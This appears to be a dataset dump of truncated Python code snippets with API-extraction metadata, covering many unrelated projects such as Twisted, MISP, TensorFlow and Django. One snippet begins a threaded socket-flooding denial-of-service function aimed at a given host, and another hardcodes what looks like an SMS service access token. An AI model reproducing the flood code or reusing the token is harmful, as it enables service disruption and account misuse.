code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
from adafruit_circuitplayground.express import cpx
# Main loop gets x, y and z axis acceleration, prints the values, and turns on
# red, green and blue, at levels related to the x, y and z values.
while True:
if cpx.switch:
print("Slide switch off!")
cpx.pixels.fill((0, 0, 0))
continue
... | [
"adafruit_circuitplayground.express.cpx.pixels.fill"
] | [((272, 298), 'adafruit_circuitplayground.express.cpx.pixels.fill', 'cpx.pixels.fill', (['(0, 0, 0)'], {}), '((0, 0, 0))\n', (287, 298), False, 'from adafruit_circuitplayground.express import cpx\n'), ((574, 600), 'adafruit_circuitplayground.express.cpx.pixels.fill', 'cpx.pixels.fill', (['(R, G, B)'], {}), '((R, G, B))... |
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hello_world.settings")
# django WSGI application
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
# load SnapSearch API credentials
api_email = "<email>"
api_key = "<key>"
# initialize the interceptor
from SnapSearch im... | [
"os.environ.setdefault",
"django.core.wsgi.get_wsgi_application",
"SnapSearch.wsgi.InterceptorMiddleware",
"SnapSearch.Client",
"SnapSearch.Detector"
] | [((11, 82), 'os.environ.setdefault', 'os.environ.setdefault', (['"""DJANGO_SETTINGS_MODULE"""', '"""hello_world.settings"""'], {}), "('DJANGO_SETTINGS_MODULE', 'hello_world.settings')\n", (32, 82), False, 'import os\n'), ((174, 196), 'django.core.wsgi.get_wsgi_application', 'get_wsgi_application', ([], {}), '()\n', (19... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2021 Lenovo
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | [
"os.walk",
"os.remove",
"os.path.exists",
"os.listdir",
"pwd.getpwnam",
"os.path.isdir",
"glob.glob",
"confluent.sshutil.prep_ssh_key",
"os.path.dirname",
"shutil.copy",
"confluent.noderange.NodeRange",
"grp.getgrnam",
"os.makedirs",
"eventlet.spawn",
"os.path.join",
"os.symlink",
"t... | [((8126, 8152), 'os.path.join', 'os.path.join', (['targdir', 'dst'], {}), '(targdir, dst)\n', (8138, 8152), False, 'import os\n'), ((8296, 8317), 'os.path.isdir', 'os.path.isdir', (['source'], {}), '(source)\n', (8309, 8317), False, 'import os\n'), ((10220, 10277), 'eventlet.spawn', 'eventlet.spawn', (['sync_list_to_no... |
import json
import os
from argparse import ArgumentTypeError
from eth_typing import Address
from web3.contract import Contract
from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR
async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool:
statuses = [True]
... | [
"os.path.exists",
"argparse.ArgumentTypeError",
"os.getcwd",
"os.mkdir",
"json.load"
] | [((2789, 2800), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (2798, 2800), False, 'import os\n'), ((2125, 2140), 'json.load', 'json.load', (['file'], {}), '(file)\n', (2134, 2140), False, 'import json\n'), ((2560, 2580), 'os.path.exists', 'os.path.exists', (['path'], {}), '(path)\n', (2574, 2580), False, 'import os\n'),... |
"""add topics
Revision ID: 816ea3631582
Revises: <KEY>
Create Date: 2021-03-13 14:20:10.044131
"""
from alembic import op
import sqlalchemy as sa
import bot
# revision identifiers, used by Alembic.
revision = "816ea3631582"
down_revision = "<KEY>"
branch_labels = None
depends_on = None
def upgrade():
# ### co... | [
"alembic.op.drop_table",
"sqlalchemy.PrimaryKeyConstraint",
"bot.database.TIMESTAMP",
"sqlalchemy.Text"
] | [((735, 758), 'alembic.op.drop_table', 'op.drop_table', (['"""topics"""'], {}), "('topics')\n", (748, 758), False, 'from alembic import op\n'), ((569, 603), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""content"""'], {}), "('content')\n", (592, 603), True, 'import sqlalchemy as sa\n'), ((442, 451)... |
from copy import copy
try:
# Python 2 only:
from StringIO import StringIO
# create a variant that can serve as a context manager
class StringIO(StringIO):
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, traceback):
self.close(... | [
"yaml.dump",
"yaml.load",
"pytest.raises",
"io.StringIO.close",
"io.StringIO",
"yamlable.yaml_info"
] | [((1534, 1569), 'yamlable.yaml_info', 'yaml_info', ([], {'yaml_tag_ns': '"""yaml.tests"""'}), "(yaml_tag_ns='yaml.tests')\n", (1543, 1569), False, 'from yamlable import YamlAble, yaml_info\n'), ((3261, 3296), 'yamlable.yaml_info', 'yaml_info', ([], {'yaml_tag_ns': '"""yaml.tests"""'}), "(yaml_tag_ns='yaml.tests')\n", (... |
# -*- test-case-name: twisted.web.test.test_web -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This is a web server which integrates with the twisted.internet infrastructure.
@var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render}
implementations can return... | [
"twisted.python.components.Componentized.__init__",
"twisted.python.urlpath.URLPath.fromRequest",
"re.compile",
"twisted.logger.Logger",
"twisted.web.resource.getChildForRequest",
"twisted.web.http.Request.gotLength",
"copy.copy",
"zlib.compressobj",
"twisted.web.resource._IEncodingResource.provided... | [((2482, 2508), 'zope.interface.implementer', 'implementer', (['iweb.IRequest'], {}), '(iweb.IRequest)\n', (2493, 2508), False, 'from zope.interface import implementer\n'), ((20318, 20359), 'zope.interface.implementer', 'implementer', (['iweb._IRequestEncoderFactory'], {}), '(iweb._IRequestEncoderFactory)\n', (20329, 2... |
from pycoin.networks.bitcoinish import create_bitcoinish_network
network = create_bitcoinish_network(
symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet",
wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="16",
bip32_prv_prefix_hex="<KEY>", bip32_pub_prefix_hex="<KEY>")
| [
"pycoin.networks.bitcoinish.create_bitcoinish_network"
] | [((76, 313), 'pycoin.networks.bitcoinish.create_bitcoinish_network', 'create_bitcoinish_network', ([], {'symbol': '"""DOGE"""', 'network_name': '"""Dogecoin"""', 'subnet_name': '"""mainnet"""', 'wif_prefix_hex': '"""9e"""', 'address_prefix_hex': '"""1e"""', 'pay_to_script_prefix_hex': '"""16"""', 'bip32_prv_prefix_hex'... |
import logging
from grpc_health.v1 import health_pb2, health_pb2_grpc
from grpc_health.v1.health import HealthServicer
from needlestack.apis import servicers_pb2_grpc
from needlestack.servicers import factory
from needlestack.servicers.merger import MergerServicer
from examples import configs
logging.getLogger("kaz... | [
"examples.configs.LocalDockerConfig",
"logging.getLogger",
"needlestack.servicers.factory.create_zookeeper_cluster_manager",
"needlestack.servicers.merger.MergerServicer",
"grpc_health.v1.health.HealthServicer",
"needlestack.servicers.factory.serve",
"needlestack.servicers.factory.create_server",
"grp... | [((369, 396), 'examples.configs.LocalDockerConfig', 'configs.LocalDockerConfig', ([], {}), '()\n', (394, 396), False, 'from examples import configs\n'), ((411, 440), 'needlestack.servicers.factory.create_server', 'factory.create_server', (['config'], {}), '(config)\n', (432, 440), False, 'from needlestack.servicers imp... |
from CGAL.CGAL_Kernel import Point_2
from CGAL.CGAL_Kernel import Weighted_point_2
from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle
from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SI... | [
"CGAL.CGAL_Kernel.Point_2",
"CGAL.CGAL_Alpha_shape_2.Alpha_shape_2",
"CGAL.CGAL_Alpha_shape_2.Weighted_alpha_shape_2"
] | [((702, 732), 'CGAL.CGAL_Alpha_shape_2.Alpha_shape_2', 'Alpha_shape_2', (['lst', '(0)', 'GENERAL'], {}), '(lst, 0, GENERAL)\n', (715, 732), False, 'from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2\n'), ((738, 759), 'CGAL.CGAL_Alpha_shape_2.Alpha_shape_2', 'Alpha_shape_2', (['lst', '(0)'], {}), '(lst, 0)\n', (751, 759)... |
import scene
class MyScene(scene.Scene):
def setup(self):
self.label_node = scene.LabelNode('A',
position=(100,400), parent=self)
self.start_flag = False
def update(self):
if self.start_flag:
x,y = self.label_node.position
if x < 34... | [
"scene.LabelNode"
] | [((91, 145), 'scene.LabelNode', 'scene.LabelNode', (['"""A"""'], {'position': '(100, 400)', 'parent': 'self'}), "('A', position=(100, 400), parent=self)\n", (106, 145), False, 'import scene\n')] |
from bot.commands import BaseCommand
import mongo
class DisconnectCommand(BaseCommand):
_COMMAND = 'disconnect'
_DESCRIPTION = 'Close currently active chat.'
_SUCCESS_MESSAGE = 'Disconnected from chat'
def _callback(self, user, _bot, update, **kwargs):
return self._call(user, _bot, update, ... | [
"mongo.chats.get_active_chat_by_telegram_id",
"mongo.chats.disable_chat"
] | [((397, 448), 'mongo.chats.get_active_chat_by_telegram_id', 'mongo.chats.get_active_chat_by_telegram_id', (['user.id'], {}), '(user.id)\n', (439, 448), False, 'import mongo\n'), ((478, 515), 'mongo.chats.disable_chat', 'mongo.chats.disable_chat', (["chat['_id']"], {}), "(chat['_id'])\n", (502, 515), False, 'import mong... |
import numpy as np
board = np.zeros(shape=(9, 9))
count = 0
def solve():
global count
count += 1
if count % 1000 == 0:
print('\rCurrent number of computations made:', count, end='')
freePos = find()
if freePos is None:
return True
i = freePos[0]
j = freePos[1]
for w in... | [
"numpy.zeros"
] | [((28, 50), 'numpy.zeros', 'np.zeros', ([], {'shape': '(9, 9)'}), '(shape=(9, 9))\n', (36, 50), True, 'import numpy as np\n')] |
# Copyright 2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | [
"nova.api.openstack.extensions.expected_errors",
"nova.api.openstack.api_version_request.is_supported"
] | [((1173, 1203), 'nova.api.openstack.extensions.expected_errors', 'extensions.expected_errors', (['()'], {}), '(())\n', (1199, 1203), False, 'from nova.api.openstack import extensions\n'), ((1426, 1519), 'nova.api.openstack.api_version_request.is_supported', 'api_version_request.is_supported', (['req'], {'min_version': ... |
#!/usr/bin/python
# Copyright (C) 2014 Belledonne Communications SARL
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.... | [
"argparse.FileType",
"os.listdir",
"xml.etree.ElementTree.parse",
"argparse.ArgumentParser",
"metadoc.Parser",
"xml.etree.ElementTree.tostring",
"os.path.join",
"xml.etree.ElementTree.Element",
"xml.dom.minidom.parseString",
"xml.etree.ElementTree.SubElement",
"six.iteritems"
] | [((27754, 27839), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Generate XML version of the Linphone API."""'}), "(description='Generate XML version of the Linphone API.'\n )\n", (27777, 27839), False, 'import argparse\n'), ((6873, 6889), 'metadoc.Parser', 'metadoc.Parser', ([], {}),... |
import configparser
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
dir_path += '/cfg.ini'
class Configuration(object):
def __init__(self,debug=False):
section = "Flask-debug" if debug else "Flask"
cfg = configparser.ConfigParser()
cfg.read(dir_path if debug e... | [
"os.path.realpath",
"configparser.ConfigParser"
] | [((62, 88), 'os.path.realpath', 'os.path.realpath', (['__file__'], {}), '(__file__)\n', (78, 88), False, 'import os\n'), ((256, 283), 'configparser.ConfigParser', 'configparser.ConfigParser', ([], {}), '()\n', (281, 283), False, 'import configparser\n')] |
from multiprocessing import Pool
import EnvEq as ee
import numpy as np
import itertools as it
import os
#parsing input into numpy arrays
from input import *
y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])
p=np.array([p_o2,p_test])
mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])
lam=np.a... | [
"EnvEq.solve_eq",
"os.makedirs",
"numpy.append",
"numpy.array",
"numpy.empty",
"multiprocessing.Pool",
"numpy.arange"
] | [((161, 214), 'numpy.array', 'np.array', (['[y0_Tpos, y0_Tpro, y0_Tneg, y0_o2, y0_test]'], {}), '([y0_Tpos, y0_Tpro, y0_Tneg, y0_o2, y0_test])\n', (169, 214), True, 'import numpy as np\n'), ((213, 237), 'numpy.array', 'np.array', (['[p_o2, p_test]'], {}), '([p_o2, p_test])\n', (221, 237), True, 'import numpy as np\n'),... |
#!/usr/bin/env python
#
# Python Serial Port Extension for Win32, Linux, BSD, Jython
# module for serial IO for POSIX compatible systems, like Linux
# see __init__.py
#
# (C) 2001-2010 <NAME> <<EMAIL>>
# this is distributed under a free software license, see license.txt
#
# parts based on code from <NAME> <<EMAIL>>:
#... | [
"os.open",
"fcntl.fcntl",
"termios.tcflush",
"select.poll",
"termios.tcflow",
"termios.tcdrain",
"termios.tcsetattr",
"FCNTL.ioctl",
"os.uname",
"select.select",
"array.array",
"os.close",
"os.write",
"struct.pack",
"sys.stderr.write",
"struct.unpack",
"time.time",
"sys.platform.lo... | [((909, 929), 'sys.platform.lower', 'sys.platform.lower', ([], {}), '()\n', (927, 929), False, 'import sys, os, fcntl, termios, struct, select, errno, time\n'), ((8255, 8274), 'struct.pack', 'struct.pack', (['"""I"""', '(0)'], {}), "('I', 0)\n", (8266, 8274), False, 'import sys, os, fcntl, termios, struct, select, errn... |
# type: ignore
from typing import Union, List, Dict
from urllib.parse import urlparse
import urllib3
from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute
from pymisp.tools import GenericObjectGenerator
import copy
from pymisp.tools import FileObject
from CommonServerPytho... | [
"pymisp.tools.FileObject",
"pymisp.tools.GenericObjectGenerator",
"urllib.parse.urlparse",
"urllib3.disable_warnings",
"pymisp.MISPEvent",
"pymisp.ExpandedPyMISP",
"copy.deepcopy",
"pymisp.MISPObject",
"pymisp.MISPAttribute",
"pymisp.MISPSighting"
] | [((1129, 1155), 'urllib3.disable_warnings', 'urllib3.disable_warnings', ([], {}), '()\n', (1153, 1155), False, 'import urllib3\n'), ((1584, 1659), 'pymisp.ExpandedPyMISP', 'ExpandedPyMISP', ([], {'url': 'MISP_URL', 'key': 'MISP_API_KEY', 'ssl': 'VERIFY', 'proxies': 'PROXIES'}), '(url=MISP_URL, key=MISP_API_KEY, ssl=VER... |
import torch
from torch.nn import functional as F
from torch import nn
from torch.autograd import Variable
from adet.utils.comm import compute_locations, aligned_bilinear
def dice_coefficient(x, target):
eps = 1e-5
n_inst = x.size(0)
x = x.reshape(n_inst, -1)
target = target.reshape(n_inst, -1)
in... | [
"torch.sort",
"torch.log",
"torch.stack",
"torch.tensor",
"torch.cat",
"torch.sum",
"torch.nn.functional.relu",
"torch.autograd.Variable",
"torch.zeros",
"torch.clamp"
] | [((1370, 1412), 'torch.sort', 'torch.sort', (['errors'], {'dim': '(0)', 'descending': '(True)'}), '(errors, dim=0, descending=True)\n', (1380, 1412), False, 'import torch\n'), ((1719, 1755), 'torch.clamp', 'torch.clamp', (['x'], {'min': 'eps', 'max': '(1 - eps)'}), '(x, min=eps, max=1 - eps)\n', (1730, 1755), False, 'i... |
# Copyright 2016 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | [
"logging.getLogger",
"cloudferry.lib.utils.remote_runner.RemoteRunner",
"cloudferry.lib.utils.local.sudo",
"cloudferry.lib.base.exception.AbortMigrationError",
"cloudferry.lib.utils.local.run",
"getpass.getuser"
] | [((789, 816), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (806, 816), False, 'import logging\n'), ((1627, 1644), 'getpass.getuser', 'getpass.getuser', ([], {}), '()\n', (1642, 1644), False, 'import getpass\n'), ((2639, 2685), 'cloudferry.lib.utils.remote_runner.RemoteRunner', 'remote_r... |
import random
import socket
import string
import sys
import threading
import time
def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:
# Threading support
thread_num = 0
thread_num_mutex = threading.Lock()
# Utility function
def print_status() -> None:
global thre... | [
"socket.gethostbyname",
"random.sample",
"time.ctime",
"socket.socket",
"threading.Lock",
"time.sleep",
"sys.exit",
"threading.Thread"
] | [((228, 244), 'threading.Lock', 'threading.Lock', ([], {}), '()\n', (242, 244), False, 'import threading\n'), ((794, 843), 'socket.socket', 'socket.socket', (['socket.AF_INET', 'socket.SOCK_STREAM'], {}), '(socket.AF_INET, socket.SOCK_STREAM)\n', (807, 843), False, 'import socket\n'), ((1281, 1307), 'socket.gethostbyna... |
import random
class Yolov3(object):
def __init__(self):
self.num=0
self.input_size=[8,16,32]
def __iter__(self):
return self
def __next__(self):
a = random.choice(self.input_size)
self.num=self.num+1
if self.num<3:
return a
else:
raise StopIteration
yolo=Yolov3()
for data in yolo:
print(data)
| [
"random.choice"
] | [((161, 191), 'random.choice', 'random.choice', (['self.input_size'], {}), '(self.input_size)\n', (174, 191), False, 'import random\n')] |
import googlemaps
gmaps = googlemaps.Client(key='google_key')
def get_markers(address):
geocode_result = gmaps.geocode(address)
return geocode_result[0]['geometry']['location']
| [
"googlemaps.Client"
] | [((27, 62), 'googlemaps.Client', 'googlemaps.Client', ([], {'key': '"""google_key"""'}), "(key='google_key')\n", (44, 62), False, 'import googlemaps\n')] |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# Imports
import os
import numpy as np
import tensorflow as tf
def run(model, X, Y, optimizer=None, nb_epochs=30, nb_batches=128):
"""
Run the estimator
"""
if optimizer is None:
optim... | [
"os.path.exists",
"tensorflow.keras.estimator.model_to_estimator",
"tensorflow.estimator.train_and_evaluate",
"tensorflow.keras.optimizers.SGD",
"os.getcwd",
"os.mkdir",
"tensorflow.keras.estimators.SGD"
] | [((613, 690), 'tensorflow.keras.estimator.model_to_estimator', 'tf.keras.estimator.model_to_estimator', ([], {'keras_model': 'model', 'model_dir': '"""./lenet"""'}), "(keras_model=model, model_dir='./lenet')\n", (650, 690), True, 'import tensorflow as tf\n'), ((2763, 2839), 'tensorflow.keras.estimator.model_to_estimato... |
""" Represents an app archive. This is an app at rest, whether it's a naked
app bundle in a directory, or a zipped app bundle, or an IPA. We have a
common interface to extract these apps to a temp file, then resign them,
and create an archive of the same type """
import abc
import biplist
from bundle impor... | [
"logging.getLogger",
"exceptions.MissingHelpers",
"signer.Signer",
"zipfile.ZipFile",
"exceptions.NotMatched",
"os.walk",
"os.path.exists",
"shutil.move",
"bundle.is_info_plist_native",
"bundle.Bundle",
"os.path.isdir",
"biplist.readPlistFromString",
"exceptions.NotSignable",
"re.match",
... | [((706, 733), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (723, 733), False, 'import logging\n'), ((1296, 1329), 'tempfile.mkdtemp', 'tempfile.mkdtemp', ([], {'prefix': '"""isign-"""'}), "(prefix='isign-')\n", (1312, 1329), False, 'import tempfile\n'), ((1790, 1815), 'os.walk', 'os.wal... |
from conan.tools.env import Environment
def runenv_from_cpp_info(conanfile, cpp_info):
""" return an Environment deducing the runtime information from a cpp_info
"""
dyn_runenv = Environment(conanfile)
if cpp_info is None: # This happens when the dependency is a private one = BINARY_SKIP
retu... | [
"conan.tools.env.Environment"
] | [((193, 215), 'conan.tools.env.Environment', 'Environment', (['conanfile'], {}), '(conanfile)\n', (204, 215), False, 'from conan.tools.env import Environment\n'), ((1243, 1271), 'conan.tools.env.Environment', 'Environment', (['self._conanfile'], {}), '(self._conanfile)\n', (1254, 1271), False, 'from conan.tools.env imp... |
# -*- test-case-name: twisted.internet.test -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This module provides support for Twisted to interact with the glib/gtk2
mainloop.
In order to use this support, simply do the following::
| from twisted.internet import gtk2reactor
| ... | [
"twisted.internet.posixbase.PosixReactorBase.__init__",
"twisted.internet.process.reapAllProcesses",
"zope.interface.implements",
"signal.siginterrupt",
"sys.exc_info",
"twisted.python.log.deferr",
"twisted.python.runtime.platform.getType",
"twisted.internet.error.ConnectionDone",
"twisted.internet.... | [((1126, 1148), 'gobject.threads_init', 'gobject.threads_init', ([], {}), '()\n', (1146, 1148), False, 'import gobject\n'), ((2087, 2103), 'gtk.main_level', 'gtk.main_level', ([], {}), '()\n', (2101, 2103), False, 'import gtk\n'), ((2597, 2622), 'zope.interface.implements', 'implements', (['IReactorFDSet'], {}), '(IRea... |
# -*- coding: utf-8 -*-
from unittest import TestCase, TestLoader
from radio import (Radio, ListenerNotFound, ReplyHandlerAlreadyBound,
HandlerAlreadyBound)
def init_radio(f):
def wrap(self, *args):
self.radio = Radio()
return f(self, *args)
return wrap
class TestRadio... | [
"radio.Radio",
"unittest.TestLoader"
] | [((248, 255), 'radio.Radio', 'Radio', ([], {}), '()\n', (253, 255), False, 'from radio import Radio, ListenerNotFound, ReplyHandlerAlreadyBound, HandlerAlreadyBound\n'), ((3016, 3028), 'unittest.TestLoader', 'TestLoader', ([], {}), '()\n', (3026, 3028), False, 'from unittest import TestCase, TestLoader\n')] |
import os
import sys
DIR_OF_THIS_SCRIPT = os.path.abspath( os.path.dirname( __file__ ) )
def Settings( **kwargs ):
return {
'interpreter_path': sys.executable,
'sys_path': [ os.path.join( DIR_OF_THIS_SCRIPT, 'third_party' ) ]
}
| [
"os.path.dirname",
"os.path.join"
] | [((60, 85), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (75, 85), False, 'import os\n'), ((187, 234), 'os.path.join', 'os.path.join', (['DIR_OF_THIS_SCRIPT', '"""third_party"""'], {}), "(DIR_OF_THIS_SCRIPT, 'third_party')\n", (199, 234), False, 'import os\n')] |
# This file is part of the CERN Indico plugins.
# Copyright (C) 2014 - 2022 CERN
#
# The CERN Indico plugins are free software; you can redistribute
# them and/or modify them under the terms of the MIT License; see
# the LICENSE file for more details.
from unittest.mock import MagicMock
import pytest
from requests.ex... | [
"unittest.mock.MagicMock",
"indico.testing.util.extract_logs",
"indico_ravem.plugin.RavemPlugin.settings.get",
"indico_ravem.util.has_access",
"pytest.mark.parametrize",
"pytest.raises",
"pytest.mark.usefixtures",
"requests.exceptions.HTTPError",
"indico_ravem.plugin.RavemPlugin.settings.set",
"in... | [((506, 535), 'pytest.mark.usefixtures', 'pytest.mark.usefixtures', (['"""db"""'], {}), "('db')\n", (529, 535), False, 'import pytest\n'), ((537, 587), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""method"""', "('get', 'post')"], {}), "('method', ('get', 'post'))\n", (560, 587), False, 'import pytest\n'),... |
import numpy as np
import xml.etree.ElementTree as ET
class Geom(object):
def __init__(self, geom):
self.xml = geom
self.params = []
def get_params(self):
return self.params.copy()
def set_params(self, new_params):
self.params = new_params
def update_point(self, p, ne... | [
"xml.etree.ElementTree.parse",
"os.makedirs",
"os.path.join",
"numpy.sum",
"numpy.array",
"numpy.concatenate",
"gym.make"
] | [((9394, 9425), 'gym.make', 'gym.make', (['"""RoboschoolHopper-v1"""'], {}), "('RoboschoolHopper-v1')\n", (9402, 9425), False, 'import gym, roboschool\n'), ((9625, 9659), 'os.makedirs', 'os.makedirs', (['outdir'], {'exist_ok': '(True)'}), '(outdir, exist_ok=True)\n', (9636, 9659), False, 'import os\n'), ((1671, 1691), ... |
from ronglian_sms_sdk import SmsSDK
from celery_tasks.main import app
# 写我们的任务(函数)
# 任务必须要celery的实例对象装饰器task装饰
# 任务包的任务需要celery调用自检检查函数。(在main里面写。)
@app.task
def celery_send_sms_code(mobile, sms_code):
accId = '<KEY>'
accToken = '514a8783b8c2481ebbeb6a814434796f'
appId = '<KEY>'
# 9.1. 创建荣联云 实例对象
... | [
"ronglian_sms_sdk.SmsSDK"
] | [((326, 356), 'ronglian_sms_sdk.SmsSDK', 'SmsSDK', (['accId', 'accToken', 'appId'], {}), '(accId, accToken, appId)\n', (332, 356), False, 'from ronglian_sms_sdk import SmsSDK\n')] |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | [
"tensorflow.python.eager.def_function.function",
"tensorflow.keras.layers.Dense",
"tensorflow.keras.models.load_model",
"tensorflow.keras.experimental.export_saved_model",
"tensorflow.compat.as_bytes",
"tensorflow.python.ops.variables.Variable",
"tensorflow.compat.v1.Session",
"tensorflow.compat.v1.gl... | [((1826, 1850), 'tensorflow.keras.layers.Input', 'keras.layers.Input', (['(3,)'], {}), '((3,))\n', (1844, 1850), False, 'from tensorflow import keras\n'), ((2177, 2236), 'tensorflow.keras.models.Model', 'keras.models.Model', ([], {'inputs': '[input_tensor]', 'outputs': '[output]'}), '(inputs=[input_tensor], outputs=[ou... |
from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.urls import path, include, re_path
from django.views.generic import TemplateView
urlpatterns = [
path('api-auth/', include('rest_framework.urls')),
path('rest-auth/', include('rest_auth.urls... | [
"django.conf.urls.static.static",
"django.views.generic.TemplateView.as_view",
"django.urls.path",
"django.urls.include"
] | [((406, 437), 'django.urls.path', 'path', (['"""admin/"""', 'admin.site.urls'], {}), "('admin/', admin.site.urls)\n", (410, 437), False, 'from django.urls import path, include, re_path\n'), ((524, 585), 'django.conf.urls.static.static', 'static', (['settings.MEDIA_URL'], {'document_root': 'settings.MEDIA_ROOT'}), '(set... |
#!/bin/bash
# -*- coding: UTF-8 -*-
# 基本控件都在这里面
from PyQt5.QtWebEngineWidgets import QWebEngineView
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog,
QLabel, QLineEdit, QPushButton, QComboBox, QCheckBox, QDateTimeEdit,
... | [
"PyQt5.QtGui.QColor",
"PyQt5.QtWidgets.QApplication",
"copy.deepcopy",
"PyQt5.QtWidgets.QFileDialog.getOpenFileName",
"PyQt5.QtWidgets.QTableWidget",
"PyQt5.QtWidgets.QTextEdit",
"PyQt5.QtWidgets.QFileDialog.getSaveFileName",
"email.generator.Generator",
"PyQt5.QtWidgets.QComboBox",
"PyQt5.QtCore.... | [((22731, 22753), 'PyQt5.QtWidgets.QApplication', 'QApplication', (['sys.argv'], {}), '(sys.argv)\n', (22743, 22753), False, 'from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog, QLabel, QLineEdit, QPushButton, QComboBox, QCheckBox, QDateTimeEdit, QTextEdit, QTabWidget,... |
"""
GpuCorrMM-based convolutional layers
"""
import numpy as np
import theano
import theano.tensor as T
from theano.sandbox.cuda.basic_ops import gpu_contiguous
from theano.sandbox.cuda.blas import GpuCorrMM
from .. import init
from .. import nonlinearities
from . import base
# base class for all layers that rely ... | [
"theano.sandbox.cuda.basic_ops.gpu_contiguous",
"theano.sandbox.cuda.blas.GpuCorrMM"
] | [((2405, 2452), 'theano.sandbox.cuda.blas.GpuCorrMM', 'GpuCorrMM', ([], {'subsample': 'self.strides', 'pad': 'self.pad'}), '(subsample=self.strides, pad=self.pad)\n', (2414, 2452), False, 'from theano.sandbox.cuda.blas import GpuCorrMM\n'), ((3436, 3459), 'theano.sandbox.cuda.basic_ops.gpu_contiguous', 'gpu_contiguous'... |
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
import sys
sys.path.append("../")
from quelea import *
nx = 217
ny = 133
x0 = 0
x1 = 30 # lambdas
y0 = 0
y1 = 20 # lambdas
xs = np.linspace(x0, x1, nx)
ys = np.linspace(y0, y1, ny)
# 2d array of (x, y, z, t)
coords = np.array( [ [x, y, 0, 0] for ... | [
"matplotlib.pyplot.imshow",
"matplotlib.pyplot.clim",
"matplotlib.pyplot.savefig",
"matplotlib.pyplot.colorbar",
"numpy.array",
"numpy.linspace",
"sys.path.append"
] | [((81, 103), 'sys.path.append', 'sys.path.append', (['"""../"""'], {}), "('../')\n", (96, 103), False, 'import sys\n'), ((201, 224), 'numpy.linspace', 'np.linspace', (['x0', 'x1', 'nx'], {}), '(x0, x1, nx)\n', (212, 224), True, 'import numpy as np\n'), ((230, 253), 'numpy.linspace', 'np.linspace', (['y0', 'y1', 'ny'], ... |
from django.conf import settings
from suit import apps
from suit.apps import DjangoSuitConfig
from suit.menu import ParentItem, ChildItem
APP_NAME = settings.APP_NAME
WIKI_URL = settings.WIKI_URL
class SuitConfig(DjangoSuitConfig):
name = 'suit'
verbose_name = 'Mbiome Core JAXid Generator'
site_title = '... | [
"suit.menu.ChildItem",
"suit.menu.ParentItem"
] | [((1411, 1586), 'suit.menu.ParentItem', 'ParentItem', ([], {'label': '"""Generate new JAXids"""', 'url': 'f"""/{APP_NAME}/manage/id_generate/jaxiddetail/import/"""', 'permissions': '"""id_generate.change_jaxiddetail"""', 'icon': '"""fa fa-rocket"""'}), "(label='Generate new JAXids', url=\n f'/{APP_NAME}/manage/id_ge... |
import h5py
import numpy as np
np.set_printoptions(threshold=np.nan)
from shutil import copyfile
copyfile("dummy_lutnet.h5", "pretrained_bin.h5") # create pretrained.h5 using datastructure from dummy.h5
bl = h5py.File("baseline_pruned.h5", 'r')
#dummy = h5py.File("dummy.h5", 'r')
pretrained = h5py.File("pretrained_b... | [
"numpy.tile",
"numpy.random.shuffle",
"numpy.reshape",
"numpy.ones",
"numpy.logical_and",
"numpy.logical_not",
"numpy.logical_or",
"h5py.File",
"numpy.argsort",
"numpy.array",
"shutil.copyfile",
"numpy.zeros",
"numpy.shape",
"numpy.arange",
"numpy.set_printoptions"
